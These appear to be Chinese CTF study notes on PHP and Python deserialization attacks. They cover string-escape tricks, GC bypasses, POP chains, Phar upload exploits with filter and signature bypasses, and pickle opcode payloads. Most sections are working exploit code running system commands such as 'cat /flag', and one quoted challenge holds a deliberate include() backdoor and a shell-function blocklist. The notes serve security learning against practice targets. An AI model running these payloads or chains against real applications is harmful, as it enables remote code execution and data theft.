//有黑名单过滤的反序列化后array(2) { ["";s:48:"]=> string(1) "1" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" }

发现}之后的就被舍弃了,留下了我们想要他读取的img值

所以最终 payload:

GET:?f=show_image

POST:_SESSION[‘flagflag’]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

上面image的值仅供参考

总结思想,其实就是利用过滤机制:

键1(过滤):值1 -> new键1

键2 -> new值1

值2(含构造的img)-> 键[‘img’] 然后后面跟上你要他访问的

原本的img因为成为多余字符了所以被丢弃

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]逃) 逃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

发现只能对key进行赋值,也是想到反序列化逃逸,但是我想不到()

然后我们看 s:9:”cat /flag”;} 和 s:6:”whoami”;}

传入

1
2
3
4
5
6
7
8
9
10
11
<?php

class GetFlag {
public $key = "\";s:3:\"cmd\";s:9:\"cat /flag\";}";
public $cmd = "whoami";
}

$a = new GetFlag();
echo serialize($a);

?>

变为:

1
O:7:"GetFlag":2:{s:3:"key";s:29:"";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";}

这样的话被挤掉的 “;s:3:”cmd”;s:6:”whoami”;} 就有26个,然后whoami跟cat /flag比起来少了3个,那么我们就需要替换掉29个,即需要29个bad

所以payload:

1
"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

GC回收机制

然后一般中在题目中遇到以下,就可以利用GC回收机制来做:

1
throw new Exception("What are you dong ?");

在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。

也就是在最后序列化前进行 $A=array($a,NULL);

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]More Fast) MoreFast

POP链:

1
Start.__destruct() --> Crypto.__toString() --> Reverse.__get() --> Pwn.__invoke() --> Web.evil() 

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

class Start{
public $errMsg; // 5 Crypto
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj; // 2 Web
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func; // 3 Pwn
public function __get($var) {
($this->func)();
}
}

class Web{
public $func; // 1 system
public $var; // 1 cat /f*
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj; // 4 Reverse
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$w = new Web();
$w->func = 'system';
$w->var = 'cat /f*';
$p = new Pwn();
$p->obj = $w;
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;

$b=array($s,0);
echo serialize($b);

?>

2025H&NCTF - 2025H&N::CTF ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}

if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>

看到throw new Exception('What do you want to do?');,很明显的GC回收机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class GOGOGO {
public $dengchao;
}
class DouBao {
public $dao;
public $Dagongren;
public $Bagongren;
}
class HeiCaFei {
public $HongCaFei;
}

$h = new HeiCaFei();
$h->HongCaFei = 'system';

// 构造 DouBao 对象
$d = new DouBao();
$d->Dagongren = [1];
$d->Bagongren = [2];
$d->dao = [$h, 'ls /'];

// 构造 GOGOGO 对象
$g = new GOGOGO();
$g->dengchao = $d;

$A = array($g,0); //

echo serialize($A);
?>

//a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}i:1;i:0;}

然后将i:1改成i:0

data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}i:0;i:0;}

Phar反序列化

[文件上传与Phar反序列化的摩擦_nssround#4 swpu]1zweb(revenge)-CSDN博客

php -d phar.readonly=0 class5.php(核心出装)

phar反序列化+两道CTF例题_ctf phar-CSDN博客

php反序列化拓展攻击详解–phar-先知社区

浅析Phar反序列化 - FreeBuf网络安全行业门户

Phar与Stream Wrapper造成PHP RCE的深入挖掘-先知社区

phar 文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)

简介

phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。(官网)

总而言之就是像file://或者data://这种流包装器,phar可以让多个文件归档到同一个文件,在不经过解压的情况下被php访问并执行

标识
  • 必须以__HALT_COMPILER();?>来结尾
  • 本质上是压缩文件,以序列化的形式储存在用户自定义的meta-data

漏洞利用条件
  1. phar可以上传到服务器端(存在文件上传)
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且 : / phar 等特殊字符没有被过滤

phar生成

注意php.ini中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

<?php
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($c1e4r); //(根据题目来)触发的头是C1e4r类,所以传入C1e4r对象,将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();
?>


绕过方式

当环境限制了phar不能出现在前面的字符里。可以使用 compress.bzip2://compress.zlib:// 等绕过

1
2
3
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt

也可以利用其它协议

php://filter/read=convert.base64-encode/resource=phar://phar.phar

禁用了<?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Check{  //检查文件内容是否有<?
public $file_name;
function __construct($file_name){
$this->file_name = $file_name;
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}
}
...
...
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!"); //通过"GIF89a" . "< language='php'>__HALT_COMPILER();</>"绕waf

GIF格式验证可以通过在文件头部添加 GIF89a 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif

<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o->data='hello L1n!';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
其他利用(sql)

Postgres

1
2
3
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "test", "root", "root"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。

MySQL

LOAD DATA LOCAL INFILE也会触发phar造成反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TestObject {
function __destruct()
{
echo $this->data;
echo 'Destruct called';
}
}
// $filename = 'compress.zlib://phar://phar.phar/test.txt';
// file_get_contents($filename);
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE users LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

//执行一条 LOAD DATA LOCAL INFILE 语句,从 phar://phar.phar/test.txt 文件中加载数据到 "users" 表中,指定行终止符为 \r\n,忽略第一行数据。
?>
例题

国城杯 线下赛 web wp - LamentXU - 博客园

SWPU 2018]SimplePHP | NSSCTF

[SUCTF-2019/Web/Upload Labs 2 at master · team-su/SUCTF-2019](https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2)


ezphar

[BUUCTF在线评测](https://buuoj.cn/challenges#[DASCTF2022.07赋能赛]Ez to getflag) Ez to getFlag

查看页面源代码可以发现file.php

访问之后发现是把图片进行base64编码,想到访问index.php能把源码base64输出,这样我们就能查看到各个文件的源码了

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
<link rel="stylesheet" type="text/css" href="./css/iconfont.css"/>
<link rel="stylesheet" type="text/css" href="./css/home.css"/>
<script src="js/jquery-3.2.0.min.js"></script>
</head>
<body>
<div class="background"></div>
<div class="nav"><div class="find active">图片查看</div><div class="upload">图片上传</div></div>
<div class="search-box">
<input class="box" type="text" placeholder="search"/>
<a class="search">
<i class="iconfont icon-search"></i>
</a>
</div>
<div id='upload' class="cover">
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>
<div class="mountain">
<div class="m1 light"></div>
<div class="m2 light"></div>
<div class="m3 light"></div>
</div>
<div class="result"></div>
<script type="text/javascript">
$('.search').click(function(){
$('.result').children().remove();
$('.result').text('');
var content = $('.box').val();
console.log(content);
$.ajax({
type: "GET",
// dataType: "text",
contentType: "application/x-www-form-urlencoded",
url: "./file.php",
cache: false,
data: "f="+content,
success: function(result) {
$('.result').append(result);
},
error: function() {
$('.result').text('error!!');
}
});
})
$('.find').click(function(){
$('.find').addClass('active');
$('.time').addClass('sun');
$('.back').addClass('AM');
$('.mountain>div').addClass('light');
$('.cloud').addClass('light');
$('.star').removeClass('light');
$('.upload').removeClass('active');
$('.search-box').removeClass('cover');
$('#upload').addClass('cover');
$('.result').text('');
})
$('.upload').click(function(){
$('.find').removeClass('active');
$('.upload').addClass('active');
$('.time').removeClass('sun');
$('.back').removeClass('AM');
$('.mountain>div').removeClass('light');
$('.cloud').removeClass('light');
$('.star').addClass('light');
$('.search-box').addClass('cover');
$('#upload').removeClass('cover');
$('.result').text('');
$('.box').val('');
})
</script>
</body>
</html>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}

}
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
?>

upload.php

1
2
3
4
5
6
7
<?php
error_reporting(0);
session_start();
require_once('class.php');
$upload = new Upload();
$upload->uploadfile();
?>

file.php

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
?>

逻辑链:

1
Test.__destruct -> Upload.__toString -> Show.__get -> Show.__call -> Show.backdoor()

show()处可以触发phar反序列化,并且gzip压缩后能绕过对内容的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Upload {
public $f;
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}

$t = new Test();
$t->str = new Upload();
$t->str->fname = new Show('suibian');
$t->str->fsize = '/flag';

$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($t);
$phar->stopBuffering();
?>

压缩:

1
2
3
4
5
6
7
8
9
10
11
import gzip

with open('poc.phar', 'rb') as file:
f = file.read()

newf = gzip.compress(f)
with open('poc.png', 'wb') as file:
file.write(newf)


#对phar文件进行压缩

然后上传文件,再看到:

1
2
3
4
5
6
7
8
function savefile() {  
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}

将上传后的文件名MD5加密,我们也可以用php来加密我们的文件名:

1
2
3
4
<?php
echo md5("poc.png");
//23f1a0f70f076b42b5b49f24ee28f696
?>

然后访问/file.php?f=phar://upload/23f1a0f70f076b42b5b49f24ee28f696.png&_=1713073174353即可


bypass

NSSRound#4 SWPU]1zweb | NSSCTF

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class LoveNss{
public $ljt="Misc";
public $dky="Re";
public $cmd="system('cat /flag');";
}

$a = new LoveNss();

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //自定义的meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算,默认是SHA1
$phar->stopBuffering();
?>

修复签名:(修改了类型数量)

1
2
3
4
5
6
7
8
from hashlib import sha256
with open('phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

kali自带gzip压缩后更改为白名单后缀上传

访问phar://upload/3.png


Pickle反序列化

pickle反序列化漏洞基础知识与绕过简析-先知社区

CTF题型 Python中pickle反序列化进阶利用&amp;例题&amp;opache绕过_python pickle ctf-CSDN博客

pickle反序列化初探-先知社区

CTF-python pickle反序列化 - sijidou - 博客园

简介

pickle是Python的一个库,可以对一个对象进行序列化和反序列化操作.其中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行.通常会利用到Python的反弹shell.

前置知识

python对象

在python中,对象的概念十分广泛.

对象是数据和功能的结合体。Python是一种面向对象编程语言,它使用对象来组织代码和数据。在Python中,几乎所有的东西都是对象,包括整数、浮点数、列表、元组、字典、函数、类等。

一个Python对象通常包含以下部分:

  1. 身份(Identity):每个对象都有一个唯一的身份标识,通常是它的内存地址。可以使用内建函数id()来获取对象的身份
  2. 类型(Type):对象属于某种类型,比如整数、浮点数、字符串、列表等。可以使用内建函数type()来获取对象的类型
  3. 值(Value):对象所持有的数据。不同类型的对象有不同的值。例如,整数对象的值是整数值,字符串对象的值是字符序列
  4. 属性(Attributes):对象可以有零个或多个属性,这些属性是附加到对象上的数据。属性通常用于存储对象的状态信息
  5. 方法(Methods):对象可以有零个或多个方法,方法是附加到对象上的函数。这些方法定义了对象可以执行的操作
Python面向对象

python是一门面向对象的语言.也正因为python面向对象的特性,使得我们有更加丰富的选择进行绕过

在Python中,面向对象的思想和php是一致的,只是定义类的代码,调用类函数和类属性的方式和php不同

python中用.调用实例的属性和方法

python中存在类属性和实例属性,实例属性只对一个实例生效,类属性对一个类生效.定义实例属性的方法是用__init__魔术方法.调用类属性的方法是类名.变量名或者self.__class__.变量名

同样地,python的面向对象也有私有属性,私有方法,类的继承等

关于序列化和反序列化的函数
  1. pickle.dump()
  2. pickle.load()
  3. pickle.dumps()
  4. pickle.loads()

p = pickle.loads(urllib.unquote(become))

1
urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回我看了师傅们的博客之后的理解就是,我们构建一

个类,类里面的 __reduce__ python魔术方法会在该类被反序列化的时候会被调用Pickle模块中最常用的函数为:

pickle.dump(obj, file, [,protocol])

1
2
3
4
5
函数的功能:将obj对象序列化存入已经打开的file中。
参数讲解:
obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.load(file)

1
2
3
函数的功能:将file中的对象序列化读出。
参数讲解:
file:文件名称。

pickle.dumps(obj[, protocol])

1
2
3
4
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.loads(string)

1
2
3
4
函数的功能:从string中读出序列化前的obj对象。
参数讲解:
string:文件名称。
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码
python魔术方法

和php类似,python魔术方法也会在一些特定情况下被自动调用.我们尤其要注意的是__reduce__魔术方法,这会在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果

除此之外还有很多魔术方法.例如初始化函数__init__和构造函数__new__.和php类似,python中也有魔法属性.例如__doc__,__name__,__class__,__base__

pickle.loads()会在反序列化一个实例时自动引入没有引入的库

构造方法__new__

  • 在实例化一个类时自动被调用,是类的构造方法
  • 可以通过重写__new__自定义类的实例化过程

初始化方法__init__

  • __new__方法之后被调用,主要负责定义类的属性,以初始化实例

析构方法__del__

  • 在实例将被销毁时调用
  • 只在实例的所有调用结束后才会被调用
1
__getattr__
  • 获取不存在的对象属性时被触发
  • 存在返回值
1
__setattr__
  • 设置对象成员值的时候触发
  • 传入一个self,一个要设置的属性名称,一个属性的值
1
__repr__
  • 在实例被传入repr()时被调用
  • 必须返回字符串
1
__call__
  • 把对象当作函数调用时触发
1
__len__
  • 被传入len()时调用
  • 返回一个整型
1
__str__
  • str(),format(),print()调用时调用,返回一个字符串

栈是一种存储数据的结构.栈有压栈和弹栈两种操作

可以把栈看做一个弹夹,先进栈的数据后出栈,压栈就像压子弹,弹栈就像弹子弹

什么是PVM

pickle是一种栈语言,它由一串串opcode(指令集)组成.该语言的解析是依靠Pickle Virtual Machine (PVM)进行的

为什么要学习pickle?

pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储

语法

操作码 描述 具体写法 栈上的变化 memo 上的变化
c 获取一个全局对象或导入一个模块 c[module]n[instance]n 获得的对象入栈
o 寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于 co 的组合,先获取一个全局函数,然后寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]n[callable]n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个 None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'n(也可以使用双引号、 等 Python 字符串形式) 获得的对象入栈
V 实例化一个 UNICODE 字符串对象 Vxxxn 获得的对象入栈
I 实例化一个 int 对象 Ixxxn 获得的对象入栈
F 实例化一个 float 对象 Fx.xn 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为 pickle.loads() 的返回值 .
( 向栈中压入一个 MARK 标记 ( MARK 标记入栈
t 寻找栈中的上一个 MARK,并组合之间的数据为元组 t MARK 标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个 MARK,并组合之间的数据为列表 l MARK 标记以及被组合的数据出栈,获得的对象入栈
\] 向栈中直接压入一个空列表 \] 空列表入栈
d 寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对) d MARK 标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至 memo_n pnn 对象被储存
g 将 memo_n 的对象压栈 gnn 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名:属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈

例如:

1
2
3
4
payload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''

解释:

  1. ( :向栈中压入一个 MARK 标记
  2. cos:导入 os 模块
  3. system:获取 os.system 函数并压栈
  4. S'cat /f* > /tmp/a':将字符串 'cat /f* > /tmp/a' 压栈
  5. o.:寻找栈中的上一个 MARK,以之间的第一个数据(os.system 函数)为 callable,第二个数据(字符串)为参数,执行该函数。. 表示程序结束,栈顶的一个元素作为 pickle.loads() 的返回值

1:栈的初始状态

1
2
栈底
└── MARK (由 '(' 操作码压入)

2:导入 os 模块

1
2
3
栈底
└── MARK
└── os模块 (由 'cos' 操作码压入)

3:获取 os.system 函数

1
2
3
4
栈底
└── MARK
└── os模块
└── os.system函数 (由 'system' 操作码压入)

4:压入命令字符串

1
2
3
4
5
栈底
└── MARK
└── os模块
└── os.system函数
└── 'cat /f* > /tmp/a'字符串 (由 'S' 操作码压入)

5:调用 os.system 函数

1
2
3
4
5
栈底
└── MARK
└── os模块
└── os.system函数
└── 'cat /f* > /tmp/a'字符串

执行 o 操作码后,os.system 函数被调用,参数为 'cat /f* > /tmp/a'。栈中的 MARKos模块os.system函数 和命令字符串都被弹出,函数的返回值(如果有的话)会被压入栈

6:结束序列化

1
2
栈底
└── 函数返回值 (假设为 None)

执行 . 操作码后,序列化过程结束,栈顶的值(None)作为 pickle.loads() 的返回值

也可以使用以下代码片段来生成Pickle序列化:

1
2
3
4
5
6
7
8
9
10
import pickle

class Payload:
def __reduce__(self):
import os
return (os.system, ('cat /f* > /tmp/a',))

payload = Payload()
serialized_payload = pickle.dumps(payload)
print(serialized_payload)

也可以将Pickle的代码变得可读起来(并非好读):

1
2
3
4
5
6
7
8
9
import pickletools

opcode = b'''c__main__
miHoYo
(S'miHoYo'
S'Honkai StarRail'
db.'''

pickletools.dis(opcode)

db.:

  • d 操作码:从栈中弹出键值对('secret''Hack!!!'),构建一个字典 {'secret': 'Hack!!!'},并将其压入栈
  • b 操作码:弹出栈顶的字典和前面的对象(假设是通过 c__main__ 导入的 secret 对象),将字典中的属性绑定到对象上。即为 secret 对象添加一个属性 'secret',其值为 'Hack!!!'
  • . 操作码:结束反序列化过程

利用

覆盖变量

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickletools
import pickle

class miHoYo:
def __init__(self,name):
self.name = name

m = miHoYo("Genshin Impact")

print(m.name)

opcode = b'''c__main__
m
(S'name'
S'Honkai StarRail'
db.'''

pickle.loads(opcode)
print(m.name)

#pickletools.dis(opcode)

输出星穹铁道即代表成功覆盖了变量

1
2
3
4
5
6
7
opcode=b"""c__main__
m#向栈中压入被实例化的m
(S'name'#压入一个MARK,再压入一个'name'字符串
S'Honkai StarRail'#压入一个ghd
db."""
#d操作符弹出'name'和ghd,压入一个字典{name:Honkai StarRail}
#b操作符弹出字典,并用字典中的键值对{name:Honkai StarRail}给s赋值(相当于执行了s的__init__),完成了篡改
RCE

相关的就是 c,R,o,i,b这几个操作符

与函数执行相关的opcode有三个: Rio ,所以我们可以从三个方向进行构造:

R :(R 操作符用于构建对象)

1
2
3
4
b'''cos
system
(S'whoami'
tR.'''

tR:其中 t 表示元组(tuple),R 表示调用 os.system 函数,并将字符串 'whoami' 作为参数传递给它

1
2
3
4
5
6
cos
system #用c操作符引入os.system,也就是把os.system压入栈
(S'ls' #先把MARK压入栈,再把ls压入栈
tR. #t操作符把ls出栈,元组(ls)入栈
#R操作符把元组作为os.system的参数传入并执行
<=> __import__('os').system(*('ls',))

i

1
2
3
4
b'''(S'whoami'
ios
system
.'''

i像是oc的结合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

o

1
2
3
4
b'''(cos
system
S'whoami'
o.'''
实例化对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
class Student:
def __init__(self, name, age):
self.name = name
self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)

#miHoYo 114514

例题

